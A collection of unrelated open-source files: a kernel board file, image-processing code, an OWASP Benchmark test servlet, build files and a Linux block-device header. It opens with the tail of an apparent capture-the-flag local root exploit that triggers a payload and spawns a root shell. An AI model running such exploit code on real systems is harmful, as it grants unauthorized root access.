exit(EXIT_FAILURE);
}
printf("[+] Triggering payload\n");
cleanup = (unsigned long *)target;
iov.iov_base = &iov;
iov.iov_len = sizeof(payload);
ret = readv(pfd, &iov, 1);
if ( getuid() )
{
printf("[-] Failed to get root\n");
exit(1);
}
else
printf("[+] Got root!\n");
printf("[+] Enjoy your shell...\n");
execl("/bin/sh", "sh", NULL);
return 0;
}
|
0xBADCA7/Brad-Oberberg
|
solution/solution.c
|
C
|
gpl-2.0
| 6,857 |
/*
* archos-tvout-hdmi.c
*
* Created on: Feb 10, 2009
* Author: Matthias Welwarsky <[email protected]>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#include <linux/kernel.h>
#include <linux/platform_device.h>
#include <linux/i2c.h>
#include <mach/display.h>
#include <mach/mux.h>
#include <mach/board-archos.h>
#include <mach/gpio.h>
#include <mach/archos-gpio.h>
static struct archos_hdmi_conf hdmi_platform_data;
static int panel_enable(struct omap_display *disp)
{
pr_info("panel_enable [%s]\n", disp->panel->name);
omap_set_gpio_dataout(GPIO_PIN(hdmi_platform_data.hdmi_dac), 1);
omap_set_gpio_dataout(GPIO_PIN(hdmi_platform_data.disp_sel), 0);
return 0;
}
static void panel_disable(struct omap_display *disp)
{
pr_info("panel_disable [%s]\n", disp->panel->name);
omap_set_gpio_dataout(GPIO_PIN(hdmi_platform_data.hdmi_dac), 0);
omap_set_gpio_dataout(GPIO_PIN(hdmi_platform_data.disp_sel), 1);
}
static struct omap_display_data hdmi_panel = {
.type = OMAP_DISPLAY_TYPE_DPI,
.name = "hdmi",
.panel_name = "panel-hdmi",
.u.dpi.data_lines=24,
.panel_enable = panel_enable,
.panel_disable = panel_disable,
};
static const struct i2c_board_info __initdata ad9x89_i2c_board_info[] = {
{
I2C_BOARD_INFO("ad9x89_core", 0x39),
.flags = I2C_CLIENT_WAKE,
.platform_data = &hdmi_platform_data,
},
{
I2C_BOARD_INFO("ad9x89_edid", 0x3F),
.flags = I2C_CLIENT_WAKE,
},
{
I2C_BOARD_INFO("ad9x89_gmp", 0x38),
.flags = I2C_CLIENT_WAKE,
},
};
int __init archos_tvout_hdmi_init(struct omap_dss_platform_data *disp_data)
{
const struct archos_display_config *disp_cfg;
int ret = -ENODEV;
disp_cfg = omap_get_config(ARCHOS_TAG_DISPLAY, struct archos_display_config);
if (disp_cfg == NULL)
return ret;
if (hardware_rev >= disp_cfg->nrev) {
printk(KERN_DEBUG "archos_tvout_hdmi_init: hardware_rev (%i) >= nrev (%i)",
hardware_rev, disp_cfg->nrev);
return ret;
}
hdmi_platform_data.hdmi_irq = disp_cfg->rev[hardware_rev].hdmi_it;
hdmi_platform_data.hdmi_dac = disp_cfg->rev[hardware_rev].hdmi_dac;
hdmi_platform_data.disp_sel = disp_cfg->rev[hardware_rev].disp_select;
GPIO_INIT_OUTPUT(hdmi_platform_data.hdmi_dac);
GPIO_INIT_INPUT(hdmi_platform_data.hdmi_irq);
ret = i2c_register_board_info(3, ad9x89_i2c_board_info,
ARRAY_SIZE(ad9x89_i2c_board_info));
if (ret < 0)
pr_err("archos_tvout_hdmi_init: unable to register ad9x89 board info\n");
disp_data->displays[disp_data->num_displays] = &hdmi_panel;
disp_data->num_displays++;
return 0;
}
|
getitnowmarketing/archos_kernel_27
|
arch/arm/mach-omap2/archos-tvout-hdmi.c
|
C
|
gpl-2.0
| 2,672 |
#include "swl/Config.h"
#include "swl/machine_vision/DerivativesOfGaussian.h"
#define CV_NO_BACKWARD_COMPATIBILITY
#include <opencv2/opencv.hpp>
#define _USE_MATH_DEFINES
#include <cmath>
#include <math.h>
#if defined(_DEBUG) && defined(__SWL_CONFIG__USE_DEBUG_NEW)
#include "swl/ResourceLeakageCheck.h"
#define new DEBUG_NEW
#endif
namespace swl {
// Compute first-order derivatives of Gaussian.
/*static*/ void DerivativesOfGaussian::getFirstOrderDerivatives(const size_t apertureSize, const double sigma, cv::Mat& Gx, cv::Mat& Gy)
{
const int halfApertureSize = (int)apertureSize / 2;
#if 0
const double sigma2 = sigma * sigma, _2_sigma2 = 2.0 * sigma2, _2_pi_sigma4 = M_PI * _2_sigma2 * sigma2;
//const double sigma2 = sigma * sigma, _2_sigma2 = 2.0 * sigma2;
for (int y = -halfApertureSize, yy = 0; y <= halfApertureSize; ++y, ++yy)
for (int x = -halfApertureSize, xx = 0; x <= halfApertureSize; ++x, ++xx)
{
const double factor = std::exp(-(double(x)*double(x) + double(y)*double(y)) / _2_sigma2) / _2_pi_sigma4;
//const double factor = std::exp(-(double(x)*double(x) + double(y)*double(y)) / _2_sigma2);
// TODO [check] >> x- & y-axis derivative.
Gx.at<double>(yy, xx) = -double(x) * factor;
Gy.at<double>(yy, xx) = -double(y) * factor;
}
#else
// If a kernel has the same size in x- and y-directions.
const double sigma2 = sigma * sigma, _2_sigma2 = 2.0 * sigma2, _2_pi_sigma4 = M_PI * _2_sigma2 * sigma2;
//const double sigma2 = sigma * sigma, _2_sigma2 = 2.0 * sigma2;
for (int y = -halfApertureSize, yy = 0; y <= halfApertureSize; ++y, ++yy)
for (int x = -halfApertureSize, xx = 0; x <= halfApertureSize; ++x, ++xx)
{
Gx.at<double>(yy, xx) = -double(x) * std::exp(-(double(x)*double(x) + double(y)*double(y)) / _2_sigma2) / _2_pi_sigma4;
//Gx.at<double>(yy, xx) = -double(x) * std::exp(-(double(x)*double(x) + double(y)*double(y)) / _2_sigma2);
}
cv::transpose(Gx, Gy);
#endif
}
// Compute second-order derivatives of Gaussian.
/*static*/ void DerivativesOfGaussian::getSecondOrderDerivatives(const size_t apertureSize, const double sigma, cv::Mat& Gxx, cv::Mat& Gyy, cv::Mat& Gxy)
{
const int halfApertureSize = (int)apertureSize / 2;
const double sigma2 = sigma * sigma, _2_sigma2 = 2.0 * sigma2, _2_pi_sigma6 = M_PI * _2_sigma2 * sigma2 * sigma2;
//const double sigma2 = sigma * sigma, _2_sigma2 = 2.0 * sigma2;
for (int y = -halfApertureSize, yy = 0; y <= halfApertureSize; ++y, ++yy)
for (int x = -halfApertureSize, xx = 0; x <= halfApertureSize; ++x, ++xx)
{
const double x2 = double(x) * double(x), y2 = double(y) * double(y);
const double factor = std::exp(-(x2 + y2) / _2_sigma2) / _2_pi_sigma6;
//const double factor = std::exp(-(x2 + y2) / _2_sigma2) / sigma2;
Gxx.at<double>(yy, xx) = (x2 - sigma2) * factor;
Gyy.at<double>(yy, xx) = (y2 - sigma2) * factor;
Gxy.at<double>(yy, xx) = x * y * factor;
}
}
} // namespace swl
|
sangwook236/sangwook-library
|
cpp/src/machine_vision/DerivativesOfGaussian.cpp
|
C++
|
gpl-2.0
| 2,927 |
/**
* OWASP Benchmark Project v1.2beta
*
* This file is part of the Open Web Application Security Project (OWASP)
* Benchmark Project. For details, please see
* <a href="https://www.owasp.org/index.php/Benchmark">https://www.owasp.org/index.php/Benchmark</a>.
*
* The OWASP Benchmark is free software: you can redistribute it and/or modify it under the terms
* of the GNU General Public License as published by the Free Software Foundation, version 2.
*
* The OWASP Benchmark is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* @author Nick Sanidas <a href="https://www.aspectsecurity.com">Aspect Security</a>
* @created 2015
*/
package org.owasp.benchmark.testcode;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/BenchmarkTest02097")
public class BenchmarkTest02097 extends HttpServlet {
private static final long serialVersionUID = 1L;
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request, response);
}
@Override
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
String param = "";
java.util.Enumeration<String> headers = request.getHeaders("vector");
if (headers.hasMoreElements()) {
param = headers.nextElement(); // just grab first element
}
String bar = doSomething(param);
Object[] obj = { bar, "b"};
response.getWriter().printf("Formatted like: %1$s and %2$s.",obj);
} // end doPost
private static String doSomething(String param) throws ServletException, IOException {
String bar = org.springframework.web.util.HtmlUtils.htmlEscape(param);
return bar;
}
}
|
andresriancho/Benchmark
|
src/main/java/org/owasp/benchmark/testcode/BenchmarkTest02097.java
|
Java
|
gpl-2.0
| 2,097 |
/*
Copyright (C) 2015 Ruslan Kabatsayev <[email protected]>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef BIT_FIELD_FORMATTER_H_20191119_
#define BIT_FIELD_FORMATTER_H_20191119_
#include <QString>
#include <vector>
namespace ODbgRegisterView {
struct BitFieldDescription;
class BitFieldFormatter {
public:
explicit BitFieldFormatter(const BitFieldDescription &bfd);
QString operator()(const QString &text) const;
private:
std::vector<QString> valueNames;
};
}
#endif
|
10110111/edb-debugger
|
plugins/ODbgRegisterView/BitFieldFormatter.h
|
C
|
gpl-2.0
| 1,060 |
#
# Copyright (C) 2011-2013 Entware
# Copyright (C) 2018 Jakub Tymejczyk <jakub.tymejczyk.pl>
# This is free software, licensed under the GNU General Public License v2.
# See /LICENSE for more information.
#
include $(TOPDIR)/rules.mk
PKG_NAME:=mosh
PKG_VERSION:=1.3.2
PKG_RELEASE:=1
PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
PKG_SOURCE_URL:=https://mosh.org/
PKG_HASH:=da600573dfa827d88ce114e0fed30210689381bbdcff543c931e4d6a2e851216
PKG_MAINTAINER:=Rosen Penev <[email protected]>
PKG_LICENSE:=GPL-3.0-or-later
PKG_LICENSE_FILES:=COPYING
PKG_FIXUP:=autoreconf
PKG_INSTALL:=1
PKG_BUILD_PARALLEL:=1
PKG_BUILD_DEPENDS:=protobuf/host
PKG_USE_MIPS16:=0
include $(INCLUDE_DIR)/package.mk
define Package/mosh/Default
SECTION:=utils
CATEGORY:=Utilities
TITLE:=Mosh mobile shell
DEPENDS:=+libncursesw +libopenssl +protobuf
URL:=https://mosh.org/
endef
define Package/mosh-client
$(call Package/mosh/Default)
TITLE+= (client)
endef
define Package/mosh-server
$(call Package/mosh/Default)
TITLE+= (server)
endef
define Package/mosh-full
$(call Package/mosh/Default)
TITLE+= (full)
DEPENDS:= \
+mosh-client \
+mosh-server \
+perlbase-essential \
+perlbase-socket \
+perlbase-xsloader \
+perlbase-getopt \
+perlbase-errno \
+perlbase-config \
+perlbase-io \
+perlbase-symbol \
+perlbase-selectsaver \
+perlbase-posix \
+perlbase-autoloader \
+perlbase-fcntl \
+perlbase-tie
endef
define Package/mosh/Default/description
Mosh is a remote terminal application that allows roaming, supports
intermittent connectivity, and provides intelligent local echo and line
editing of user keystrokes.
endef
define Package/mosh-client/description
$(call Package/mosh/Default/description)
This is a mosh client.
endef
define Package/mosh-server/description
$(call Package/mosh/Default/description)
This is a mosh server.
endef
define Package/mosh-full/description
$(call Package/mosh/Default/description)
This is a full package with perl wrapper script
endef
CONFIGURE_ARGS += \
--disable-compile-warnings \
--disable-hardening \
--without-utempter
TARGET_CXXFLAGS += -ffunction-sections -fdata-sections -flto -std=c++11
TARGET_LDFLAGS += -Wl,--gc-sections -lncurses
define Package/mosh-client/install
$(INSTALL_DIR) $(1)/usr/bin
$(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/bin/mosh-client $(1)/usr/bin/
endef
define Package/mosh-server/install
$(INSTALL_DIR) $(1)/usr/bin
$(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/bin/mosh-server $(1)/usr/bin/
endef
define Package/mosh-full/install
$(INSTALL_DIR) $(1)/usr/bin
$(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/bin/mosh $(1)/usr/bin/
endef
$(eval $(call BuildPackage,mosh-client))
$(eval $(call BuildPackage,mosh-server))
$(eval $(call BuildPackage,mosh-full))
|
MikePetullo/packages
|
net/mosh/Makefile
|
Makefile
|
gpl-2.0
| 2,777 |
#ifndef _LINUX_BLKDEV_H
#define _LINUX_BLKDEV_H
#ifdef CONFIG_BLOCK
#include <linux/sched.h>
#include <linux/major.h>
#include <linux/genhd.h>
#include <linux/list.h>
#include <linux/timer.h>
#include <linux/workqueue.h>
#include <linux/pagemap.h>
#include <linux/backing-dev.h>
#include <linux/wait.h>
#include <linux/mempool.h>
#include <linux/bio.h>
#include <linux/module.h>
#include <linux/stringify.h>
#include <linux/gfp.h>
#include <linux/bsg.h>
#include <linux/smp.h>
#include <asm/scatterlist.h>
struct scsi_ioctl_command;
struct request_queue;
struct elevator_queue;
struct request_pm_state;
struct blk_trace;
struct request;
struct sg_io_hdr;
#define BLKDEV_MIN_RQ 4
#define BLKDEV_MAX_RQ 128 /* Default maximum */
struct request;
typedef void (rq_end_io_fn)(struct request *, int);
struct request_list {
/*
* count[], starved[], and wait[] are indexed by
* BLK_RW_SYNC/BLK_RW_ASYNC
*/
int count[2];
int starved[2];
int elvpriv;
mempool_t *rq_pool;
wait_queue_head_t wait[2];
};
/*
* request command types
*/
enum rq_cmd_type_bits {
REQ_TYPE_FS = 1, /* fs request */
REQ_TYPE_BLOCK_PC, /* scsi command */
REQ_TYPE_SENSE, /* sense request */
REQ_TYPE_PM_SUSPEND, /* suspend request */
REQ_TYPE_PM_RESUME, /* resume request */
REQ_TYPE_PM_SHUTDOWN, /* shutdown request */
REQ_TYPE_SPECIAL, /* driver defined type */
REQ_TYPE_LINUX_BLOCK, /* generic block layer message */
/*
* for ATA/ATAPI devices. this really doesn't belong here, ide should
* use REQ_TYPE_SPECIAL and use rq->cmd[0] with the range of driver
* private REQ_LB opcodes to differentiate what type of request this is
*/
REQ_TYPE_ATA_TASKFILE,
REQ_TYPE_ATA_PC,
};
/*
* For request of type REQ_TYPE_LINUX_BLOCK, rq->cmd[0] is the opcode being
* sent down (similar to how REQ_TYPE_BLOCK_PC means that ->cmd[] holds a
* SCSI cdb.
*
* 0x00 -> 0x3f are driver private, to be used for whatever purpose they need,
* typically to differentiate REQ_TYPE_SPECIAL requests.
*
*/
enum {
REQ_LB_OP_EJECT = 0x40, /* eject request */
REQ_LB_OP_FLUSH = 0x41, /* flush request */
};
/*
* request type modified bits. first four bits match BIO_RW* bits, important
*/
enum rq_flag_bits {
__REQ_RW, /* not set, read. set, write */
__REQ_FAILFAST_DEV, /* no driver retries of device errors */
__REQ_FAILFAST_TRANSPORT, /* no driver retries of transport errors */
__REQ_FAILFAST_DRIVER, /* no driver retries of driver errors */
/* above flags must match BIO_RW_* */
__REQ_DISCARD, /* request to discard sectors */
__REQ_SORTED, /* elevator knows about this request */
__REQ_SOFTBARRIER, /* may not be passed by ioscheduler */
__REQ_HARDBARRIER, /* may not be passed by drive either */
__REQ_FUA, /* forced unit access */
__REQ_NOMERGE, /* don't touch this for merging */
__REQ_STARTED, /* drive already may have started this one */
__REQ_DONTPREP, /* don't call prep for this one */
__REQ_QUEUED, /* uses queueing */
__REQ_ELVPRIV, /* elevator private data attached */
__REQ_FAILED, /* set if the request failed */
__REQ_QUIET, /* don't worry about errors */
__REQ_PREEMPT, /* set for "ide_preempt" requests */
__REQ_ORDERED_COLOR, /* is before or after barrier */
__REQ_RW_SYNC, /* request is sync (sync write or read) */
__REQ_ALLOCED, /* request came from our alloc pool */
__REQ_RW_META, /* metadata io request */
__REQ_COPY_USER, /* contains copies of user pages */
__REQ_INTEGRITY, /* integrity metadata has been remapped */
__REQ_NOIDLE, /* Don't anticipate more IO after this one */
__REQ_IO_STAT, /* account I/O stat */
__REQ_MIXED_MERGE, /* merge of different types, fail separately */
__REQ_NR_BITS, /* stops here */
};
#define REQ_RW (1 << __REQ_RW)
#define REQ_FAILFAST_DEV (1 << __REQ_FAILFAST_DEV)
#define REQ_FAILFAST_TRANSPORT (1 << __REQ_FAILFAST_TRANSPORT)
#define REQ_FAILFAST_DRIVER (1 << __REQ_FAILFAST_DRIVER)
#define REQ_DISCARD (1 << __REQ_DISCARD)
#define REQ_SORTED (1 << __REQ_SORTED)
#define REQ_SOFTBARRIER (1 << __REQ_SOFTBARRIER)
#define REQ_HARDBARRIER (1 << __REQ_HARDBARRIER)
#define REQ_FUA (1 << __REQ_FUA)
#define REQ_NOMERGE (1 << __REQ_NOMERGE)
#define REQ_STARTED (1 << __REQ_STARTED)
#define REQ_DONTPREP (1 << __REQ_DONTPREP)
#define REQ_QUEUED (1 << __REQ_QUEUED)
#define REQ_ELVPRIV (1 << __REQ_ELVPRIV)
#define REQ_FAILED (1 << __REQ_FAILED)
#define REQ_QUIET (1 << __REQ_QUIET)
#define REQ_PREEMPT (1 << __REQ_PREEMPT)
#define REQ_ORDERED_COLOR (1 << __REQ_ORDERED_COLOR)
#define REQ_RW_SYNC (1 << __REQ_RW_SYNC)
#define REQ_ALLOCED (1 << __REQ_ALLOCED)
#define REQ_RW_META (1 << __REQ_RW_META)
#define REQ_COPY_USER (1 << __REQ_COPY_USER)
#define REQ_INTEGRITY (1 << __REQ_INTEGRITY)
#define REQ_NOIDLE (1 << __REQ_NOIDLE)
#define REQ_IO_STAT (1 << __REQ_IO_STAT)
#define REQ_MIXED_MERGE (1 << __REQ_MIXED_MERGE)
#define REQ_FAILFAST_MASK (REQ_FAILFAST_DEV | REQ_FAILFAST_TRANSPORT | \
REQ_FAILFAST_DRIVER)
#define BLK_MAX_CDB 16
/*
* try to put the fields that are referenced together in the same cacheline.
* if you modify this structure, be sure to check block/blk-core.c:rq_init()
* as well!
*/
struct request {
struct list_head queuelist;
struct call_single_data csd;
struct request_queue *q;
unsigned int cmd_flags;
enum rq_cmd_type_bits cmd_type;
unsigned long atomic_flags;
int cpu;
/* the following two fields are internal, NEVER access directly */
unsigned int __data_len; /* total data len */
sector_t __sector; /* sector cursor */
struct bio *bio;
struct bio *biotail;
struct hlist_node hash; /* merge hash */
/*
* The rb_node is only used inside the io scheduler, requests
* are pruned when moved to the dispatch queue. So let the
* completion_data share space with the rb_node.
*/
union {
struct rb_node rb_node; /* sort/lookup */
void *completion_data;
};
/*
* Three pointers are available for the IO schedulers, if they need
* more they have to dynamically allocate it.
*/
void *elevator_private;
void *elevator_private2;
void *elevator_private3;
struct gendisk *rq_disk;
unsigned long start_time;
#ifdef CONFIG_BLK_CGROUP
unsigned long long start_time_ns;
unsigned long long io_start_time_ns; /* when passed to hardware */
#endif
/* Number of scatter-gather DMA addr+len pairs after
* physical address coalescing is performed.
*/
unsigned short nr_phys_segments;
unsigned short ioprio;
int ref_count;
void *special; /* opaque pointer available for LLD use */
char *buffer; /* kaddr of the current segment if available */
int tag;
int errors;
/*
* when request is used as a packet command carrier
*/
unsigned char __cmd[BLK_MAX_CDB];
unsigned char *cmd;
unsigned short cmd_len;
unsigned int extra_len; /* length of alignment and padding */
unsigned int sense_len;
unsigned int resid_len; /* residual count */
void *sense;
unsigned long deadline;
struct list_head timeout_list;
unsigned int timeout;
int retries;
/*
* completion callback.
*/
rq_end_io_fn *end_io;
void *end_io_data;
/* for bidi */
struct request *next_rq;
};
static inline unsigned short req_get_ioprio(struct request *req)
{
return req->ioprio;
}
/*
* State information carried for REQ_TYPE_PM_SUSPEND and REQ_TYPE_PM_RESUME
* requests. Some step values could eventually be made generic.
*/
struct request_pm_state
{
/* PM state machine step value, currently driver specific */
int pm_step;
/* requested PM state value (S1, S2, S3, S4, ...) */
u32 pm_state;
void* data; /* for driver use */
};
#include <linux/elevator.h>
typedef void (request_fn_proc) (struct request_queue *q);
typedef int (make_request_fn) (struct request_queue *q, struct bio *bio);
typedef int (prep_rq_fn) (struct request_queue *, struct request *);
typedef void (unplug_fn) (struct request_queue *);
struct bio_vec;
struct bvec_merge_data {
struct block_device *bi_bdev;
sector_t bi_sector;
unsigned bi_size;
unsigned long bi_rw;
};
typedef int (merge_bvec_fn) (struct request_queue *, struct bvec_merge_data *,
struct bio_vec *);
typedef void (prepare_flush_fn) (struct request_queue *, struct request *);
typedef void (softirq_done_fn)(struct request *);
typedef int (dma_drain_needed_fn)(struct request *);
typedef int (lld_busy_fn) (struct request_queue *q);
enum blk_eh_timer_return {
BLK_EH_NOT_HANDLED,
BLK_EH_HANDLED,
BLK_EH_RESET_TIMER,
};
typedef enum blk_eh_timer_return (rq_timed_out_fn)(struct request *);
enum blk_queue_state {
Queue_down,
Queue_up,
};
struct blk_queue_tag {
struct request **tag_index; /* map of busy tags */
unsigned long *tag_map; /* bit map of free/busy tags */
int busy; /* current depth */
int max_depth; /* what we will send to device */
int real_max_depth; /* what the array can hold */
atomic_t refcnt; /* map can be shared */
};
#define BLK_SCSI_MAX_CMDS (256)
#define BLK_SCSI_CMD_PER_LONG (BLK_SCSI_MAX_CMDS / (sizeof(long) * 8))
struct queue_limits {
unsigned long bounce_pfn;
unsigned long seg_boundary_mask;
unsigned int max_hw_sectors;
unsigned int max_sectors;
unsigned int max_segment_size;
unsigned int physical_block_size;
unsigned int alignment_offset;
unsigned int io_min;
unsigned int io_opt;
unsigned int max_discard_sectors;
unsigned int discard_granularity;
unsigned int discard_alignment;
unsigned short logical_block_size;
unsigned short max_segments;
unsigned char misaligned;
unsigned char discard_misaligned;
unsigned char cluster;
signed char discard_zeroes_data;
};
struct request_queue
{
/*
* Together with queue_head for cacheline sharing
*/
struct list_head queue_head;
struct request *last_merge;
struct elevator_queue *elevator;
/*
* the queue request freelist, one for reads and one for writes
*/
struct request_list rq;
request_fn_proc *request_fn;
make_request_fn *make_request_fn;
prep_rq_fn *prep_rq_fn;
unplug_fn *unplug_fn;
merge_bvec_fn *merge_bvec_fn;
prepare_flush_fn *prepare_flush_fn;
softirq_done_fn *softirq_done_fn;
rq_timed_out_fn *rq_timed_out_fn;
dma_drain_needed_fn *dma_drain_needed;
lld_busy_fn *lld_busy_fn;
/*
* Dispatch queue sorting
*/
sector_t end_sector;
struct request *boundary_rq;
/*
* Auto-unplugging state
*/
struct timer_list unplug_timer;
int unplug_thresh; /* After this many requests */
unsigned long unplug_delay; /* After this many jiffies */
struct work_struct unplug_work;
struct backing_dev_info backing_dev_info;
/*
* The queue owner gets to use this for whatever they like.
* ll_rw_blk doesn't touch it.
*/
void *queuedata;
/*
* queue needs bounce pages for pages above this limit
*/
gfp_t bounce_gfp;
/*
* various queue flags, see QUEUE_* below
*/
unsigned long queue_flags;
/*
* protects queue structures from reentrancy. ->__queue_lock should
* _never_ be used directly, it is queue private. always use
* ->queue_lock.
*/
spinlock_t __queue_lock;
spinlock_t *queue_lock;
/*
* queue kobject
*/
struct kobject kobj;
/*
* queue settings
*/
unsigned long nr_requests; /* Max # of requests */
unsigned int nr_congestion_on;
unsigned int nr_congestion_off;
unsigned int nr_batching;
void *dma_drain_buffer;
unsigned int dma_drain_size;
unsigned int dma_pad_mask;
unsigned int dma_alignment;
struct blk_queue_tag *queue_tags;
struct list_head tag_busy_list;
unsigned int nr_sorted;
unsigned int in_flight[2];
unsigned int rq_timeout;
struct timer_list timeout;
struct list_head timeout_list;
struct queue_limits limits;
/*
* sg stuff
*/
unsigned int sg_timeout;
unsigned int sg_reserved_size;
int node;
#ifdef CONFIG_BLK_DEV_IO_TRACE
struct blk_trace *blk_trace;
#endif
/*
* reserved for flush operations
*/
unsigned int ordered, next_ordered, ordseq;
int orderr, ordcolor;
struct request pre_flush_rq, bar_rq, post_flush_rq;
struct request *orig_bar_rq;
struct mutex sysfs_lock;
#if defined(CONFIG_BLK_DEV_BSG)
struct bsg_class_device bsg_dev;
#endif
};
#define QUEUE_FLAG_QUEUED 1 /* uses generic tag queueing */
#define QUEUE_FLAG_STOPPED 2 /* queue is stopped */
#define QUEUE_FLAG_SYNCFULL 3 /* read queue has been filled */
#define QUEUE_FLAG_ASYNCFULL 4 /* write queue has been filled */
#define QUEUE_FLAG_DEAD 5 /* queue being torn down */
#define QUEUE_FLAG_REENTER 6 /* Re-entrancy avoidance */
#define QUEUE_FLAG_PLUGGED 7 /* queue is plugged */
#define QUEUE_FLAG_ELVSWITCH 8 /* don't use elevator, just do FIFO */
#define QUEUE_FLAG_BIDI 9 /* queue supports bidi requests */
#define QUEUE_FLAG_NOMERGES 10 /* disable merge attempts */
#define QUEUE_FLAG_SAME_COMP 11 /* complete on same CPU-group */
#define QUEUE_FLAG_FAIL_IO 12 /* fake timeout */
#define QUEUE_FLAG_STACKABLE 13 /* supports request stacking */
#define QUEUE_FLAG_NONROT 14 /* non-rotational device (SSD) */
#define QUEUE_FLAG_VIRT QUEUE_FLAG_NONROT /* paravirt device */
#define QUEUE_FLAG_IO_STAT 15 /* do IO stats */
#define QUEUE_FLAG_DISCARD 16 /* supports DISCARD */
#define QUEUE_FLAG_NOXMERGES 17 /* No extended merges */
#define QUEUE_FLAG_SAME_FORCE 18 /* force complete on same CPU */
#define QUEUE_FLAG_DEFAULT ((1 << QUEUE_FLAG_IO_STAT) | \
(1 << QUEUE_FLAG_STACKABLE) | \
(1 << QUEUE_FLAG_SAME_COMP))
static inline int queue_is_locked(struct request_queue *q)
{
#ifdef CONFIG_SMP
spinlock_t *lock = q->queue_lock;
return lock && spin_is_locked(lock);
#else
return 1;
#endif
}
static inline void queue_flag_set_unlocked(unsigned int flag,
struct request_queue *q)
{
__set_bit(flag, &q->queue_flags);
}
static inline int queue_flag_test_and_clear(unsigned int flag,
struct request_queue *q)
{
WARN_ON_ONCE(!queue_is_locked(q));
if (test_bit(flag, &q->queue_flags)) {
__clear_bit(flag, &q->queue_flags);
return 1;
}
return 0;
}
static inline int queue_flag_test_and_set(unsigned int flag,
struct request_queue *q)
{
WARN_ON_ONCE(!queue_is_locked(q));
if (!test_bit(flag, &q->queue_flags)) {
__set_bit(flag, &q->queue_flags);
return 0;
}
return 1;
}
static inline void queue_flag_set(unsigned int flag, struct request_queue *q)
{
WARN_ON_ONCE(!queue_is_locked(q));
__set_bit(flag, &q->queue_flags);
}
static inline void queue_flag_clear_unlocked(unsigned int flag,
struct request_queue *q)
{
__clear_bit(flag, &q->queue_flags);
}
static inline int queue_in_flight(struct request_queue *q)
{
return q->in_flight[0] + q->in_flight[1];
}
static inline void queue_flag_clear(unsigned int flag, struct request_queue *q)
{
WARN_ON_ONCE(!queue_is_locked(q));
__clear_bit(flag, &q->queue_flags);
}
enum {
/*
* Hardbarrier is supported with one of the following methods.
*
* NONE : hardbarrier unsupported
* DRAIN : ordering by draining is enough
* DRAIN_FLUSH : ordering by draining w/ pre and post flushes
* DRAIN_FUA : ordering by draining w/ pre flush and FUA write
* TAG : ordering by tag is enough
* TAG_FLUSH : ordering by tag w/ pre and post flushes
* TAG_FUA : ordering by tag w/ pre flush and FUA write
*/
QUEUE_ORDERED_BY_DRAIN = 0x01,
QUEUE_ORDERED_BY_TAG = 0x02,
QUEUE_ORDERED_DO_PREFLUSH = 0x10,
QUEUE_ORDERED_DO_BAR = 0x20,
QUEUE_ORDERED_DO_POSTFLUSH = 0x40,
QUEUE_ORDERED_DO_FUA = 0x80,
QUEUE_ORDERED_NONE = 0x00,
QUEUE_ORDERED_DRAIN = QUEUE_ORDERED_BY_DRAIN |
QUEUE_ORDERED_DO_BAR,
QUEUE_ORDERED_DRAIN_FLUSH = QUEUE_ORDERED_DRAIN |
QUEUE_ORDERED_DO_PREFLUSH |
QUEUE_ORDERED_DO_POSTFLUSH,
QUEUE_ORDERED_DRAIN_FUA = QUEUE_ORDERED_DRAIN |
QUEUE_ORDERED_DO_PREFLUSH |
QUEUE_ORDERED_DO_FUA,
QUEUE_ORDERED_TAG = QUEUE_ORDERED_BY_TAG |
QUEUE_ORDERED_DO_BAR,
QUEUE_ORDERED_TAG_FLUSH = QUEUE_ORDERED_TAG |
QUEUE_ORDERED_DO_PREFLUSH |
QUEUE_ORDERED_DO_POSTFLUSH,
QUEUE_ORDERED_TAG_FUA = QUEUE_ORDERED_TAG |
QUEUE_ORDERED_DO_PREFLUSH |
QUEUE_ORDERED_DO_FUA,
/*
* Ordered operation sequence
*/
QUEUE_ORDSEQ_STARTED = 0x01, /* flushing in progress */
QUEUE_ORDSEQ_DRAIN = 0x02, /* waiting for the queue to be drained */
QUEUE_ORDSEQ_PREFLUSH = 0x04, /* pre-flushing in progress */
QUEUE_ORDSEQ_BAR = 0x08, /* original barrier req in progress */
QUEUE_ORDSEQ_POSTFLUSH = 0x10, /* post-flushing in progress */
QUEUE_ORDSEQ_DONE = 0x20,
};
#define blk_queue_plugged(q) test_bit(QUEUE_FLAG_PLUGGED, &(q)->queue_flags)
#define blk_queue_tagged(q) test_bit(QUEUE_FLAG_QUEUED, &(q)->queue_flags)
#define blk_queue_stopped(q) test_bit(QUEUE_FLAG_STOPPED, &(q)->queue_flags)
#define blk_queue_nomerges(q) test_bit(QUEUE_FLAG_NOMERGES, &(q)->queue_flags)
#define blk_queue_noxmerges(q) \
test_bit(QUEUE_FLAG_NOXMERGES, &(q)->queue_flags)
#define blk_queue_nonrot(q) test_bit(QUEUE_FLAG_NONROT, &(q)->queue_flags)
#define blk_queue_io_stat(q) test_bit(QUEUE_FLAG_IO_STAT, &(q)->queue_flags)
#define blk_queue_flushing(q) ((q)->ordseq)
#define blk_queue_stackable(q) \
test_bit(QUEUE_FLAG_STACKABLE, &(q)->queue_flags)
#define blk_queue_discard(q) test_bit(QUEUE_FLAG_DISCARD, &(q)->queue_flags)
#define blk_fs_request(rq) ((rq)->cmd_type == REQ_TYPE_FS)
